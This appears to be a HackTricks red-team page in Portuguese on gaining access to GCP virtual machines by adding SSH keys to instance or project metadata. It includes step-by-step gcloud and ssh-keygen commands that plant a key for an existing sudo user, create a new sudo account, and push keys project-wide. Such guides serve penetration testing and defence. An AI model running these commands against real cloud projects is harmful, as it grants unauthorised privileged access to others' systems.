GCP - Add Custom SSH Metadata

GCP - Adicionar Metadados SSH Personalizados

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Modificando os metadados

A modificação de metadados em uma instância pode levar a riscos significativos de segurança se um invasor obtiver as permissões necessárias.

Incorporação de Chaves SSH nos Metadados Personalizados

No GCP, sistemas Linux frequentemente executam scripts do Ambiente de Hóspede Linux Python para Google Compute Engine. Um componente crítico disso é o daemon de contas, que é projetado para verificar regularmente o endpoint de metadados da instância em busca de atualizações nas chaves públicas SSH autorizadas.

Portanto, se um invasor puder modificar os metadados personalizados, ele poderá fazer com que o daemon encontre uma nova chave pública, que será processada e integrada no sistema local. A chave será adicionada ao arquivo ~/.ssh/authorized_keys de um usuário existente ou potencialmente criando um novo usuário com privilégios sudo, dependendo do formato da chave. E o invasor poderá comprometer o host.

Adicionar chave SSH a um usuário privilegiado existente

  1. Examine as Chaves SSH Existente na Instância:

  • Execute o comando para descrever a instância e seus metadados para localizar as chaves SSH existentes. A seção relevante na saída estará em metadata, especificamente na chave ssh-keys.

gcloud compute instances describe [INSTÂNCIA] --zone [ZONA]
  • Preste atenção ao formato das chaves SSH: o nome de usuário precede a chave, separados por dois pontos.

  1. Prepare um Arquivo de Texto para os Metadados da Chave SSH:

  • Salve os detalhes dos nomes de usuários e suas chaves SSH correspondentes em um arquivo de texto chamado meta.txt. Isso é essencial para preservar as chaves existentes ao adicionar novas.

  1. Gerar uma Nova Chave SSH para o Usuário Alvo (alice neste exemplo):

  • Use o comando ssh-keygen para gerar uma nova chave SSH, garantindo que o campo de comentário (-C) corresponda ao nome de usuário alvo.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Adicione a nova chave pública ao meta.txt, imitando o formato encontrado nos metadados da instância.

  1. Atualize os Metadados da Chave SSH da Instância:

  • Aplique os metadados da chave SSH atualizados à instância usando o comando gcloud compute instances add-metadata.

gcloud compute instances add-metadata [INSTÂNCIA] --metadata-from-file ssh-keys=meta.txt
  1. Acesse a Instância Usando a Nova Chave SSH:

  • Conecte-se à instância com SSH usando a nova chave, acessando o shell no contexto do usuário alvo (alice neste exemplo).

ssh -i ./key alice@localhost
sudo id

Criar um novo usuário privilegiado e adicionar uma chave SSH

Se nenhum usuário interessante for encontrado, é possível criar um novo que receberá privilégios sudo:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

Chaves SSH a nível de projeto

É possível ampliar o acesso SSH a várias Máquinas Virtuais (VMs) em um ambiente de nuvem aplicando chaves SSH a nível de projeto. Esta abordagem permite o acesso SSH a qualquer instância dentro do projeto que não tenha bloqueado explicitamente as chaves SSH em todo o projeto. Aqui está um guia resumido:

  1. Aplicar Chaves SSH a Nível de Projeto:

  • Use o comando gcloud compute project-info add-metadata para adicionar chaves SSH do arquivo meta.txt aos metadados do projeto. Esta ação garante que as chaves SSH sejam reconhecidas em todas as VMs do projeto, a menos que uma VM tenha a opção "Bloquear chaves SSH em todo o projeto" habilitada.

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. Acessar Instâncias Usando Chaves em Todo o Projeto:

  • Com as chaves SSH em todo o projeto em vigor, você pode acessar as instâncias dentro do projeto. As instâncias que não bloqueiam as chaves em todo o projeto aceitarão a chave SSH, concedendo acesso.

  • Um método direto para acessar uma instância é usando o comando gcloud compute ssh [INSTÂNCIA]. Este comando utiliza seu nome de usuário atual e as chaves SSH definidas no nível do projeto para tentar o acesso.

Referências

Última actualización